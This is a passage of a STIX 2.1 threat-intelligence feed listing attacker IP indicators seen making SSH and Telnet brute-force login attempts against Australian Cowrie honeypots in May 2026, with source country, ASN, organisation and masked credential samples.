      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 17072. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--57ac75d0-eb55-4a0f-91ce-391ccfbdcc05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.188.225.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ce91794e-22db-4b7b-859f-d21b64500182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.188.221.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--e5cc26e5-c186-4d85-a202-e05940213dba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.210.151.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 247. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, 1**4. Passwords observed (masked): 1**4, a***n, 1******8, 3******t, 7****6.",
      "id": "indicator--77dd844e-0fdd-4164-9733-223a63655089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.2.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3651. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u****u, a***n, u**r, d****y. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--35084917-ae5a-47af-b44f-419cda50d109",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--59d0d353-c324-4d20-9ee6-9332e45f8889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 34841. Organisation(s): Lafy OOD.",
      "id": "indicator--46a9185b-ee8a-4455-acc2-4faeacf1071c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.55.211.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 11845. Organisation(s): Vox-Telecom.",
      "id": "indicator--85c07391-833a-4cde-877a-cdcb558e1ab6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.220.209.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9a425ba1-00d2-4c15-a2c3-530ce309922b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.197.87.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--63294be1-d48c-40ef-8036-778d2788d979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.13.21.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6634042e-e27a-46ee-b304-9bc4797544a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.203.136.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--a0935a63-47e1-433d-bf42-46170c249b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.132.4.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--b4ed979b-a71e-4aed-b9d1-ce0035ee86df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.184.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--cb1287c0-6705-41f5-a9e7-96d46a683915",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.41.117.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--9dde796b-3aa0-481f-a754-1c53b8d0e3d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.201.224.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--1b09c507-7663-43a6-a336-5994b5cf1905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.99.33.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--016b4bf2-8164-4697-b72d-d332b3b965c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.222.96.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:15:11.000Z",
      "valid_until": "2026-06-13T01:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--13373c49-82ce-48f9-bf34-649404e7ed32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.142.107.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 26496. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--c3d38cc1-63f0-46f0-b5cb-60e1b5d37183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.72.208.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 138585. Organisation(s): OffTechIT Bangladesh.",
      "id": "indicator--5725fa2e-47a6-46e4-9702-3ef8ac08cccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.20.57.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--3e0ad05e-d270-422f-b524-523df669989a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.125.155.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--13c49101-5841-41f8-8977-58bacd82219d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.107.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--99e8d4e0-1d63-4da3-ae79-4c2405b28d72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.176.31.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273497. Organisation(s): IMPERIUM T. BARREIRA GRANDE SER. TELECOM LTDA.",
      "id": "indicator--e57af916-ea2f-477d-a0dc-51ba91596de1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.49.184.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--d033986c-a7f8-4d16-a7df-a626cf820c6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.243.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 272156. Organisation(s): WEB MASTER COLOMBIA SAS.",
      "id": "indicator--86083cd4-cfc2-43db-a22a-4ae7d5fae606",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.156.13.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--640fe6c1-e77e-4d73-956d-a087a7c76080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.175.148.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--057d9c7b-6988-468c-a1ef-0105b4653114",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 5466. Organisation(s): Eir Broadband.",
      "id": "indicator--abf1bb5a-89c3-41d9-953f-c1e43f0652ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.44.165.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T02:15:10.000Z",
      "valid_until": "2026-06-13T02:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--6cfb6e44-c9be-4028-9027-02505c0572d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.171.171.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--47ecdea9-fc8d-4406-8f44-ba4e0dd797df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.45.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC.",
      "id": "indicator--c1a365f7-baf0-48ec-87a1-b6fa626b5e79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.201.217.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--e67a5118-c9ce-4ebd-8ae2-65634cf642fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.56.231.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262402. Organisation(s): ZAP BL TELECOMUNICACOES LTDA.",
      "id": "indicator--d66394a6-cd81-4506-910b-f9c37f4e29d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.47.68.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--79648d03-e98f-46c6-805e-4b71d6a6b0bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.211.231.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 34170. Organisation(s): Aztelekom LLC.",
      "id": "indicator--f295ac82-8364-487d-a09d-0f0e03cdb5f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.47.158.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T03:15:11.000Z",
      "valid_until": "2026-06-13T03:15:08.000Z"
    },
    {
      "created": "2026-05-12T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269685. Organisation(s): NET SAO JOSE LDTA - ME.",
      "id": "indicator--fd16f2cd-bdec-44f6-9422-0e481cd1218b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T03:15:11.000Z",
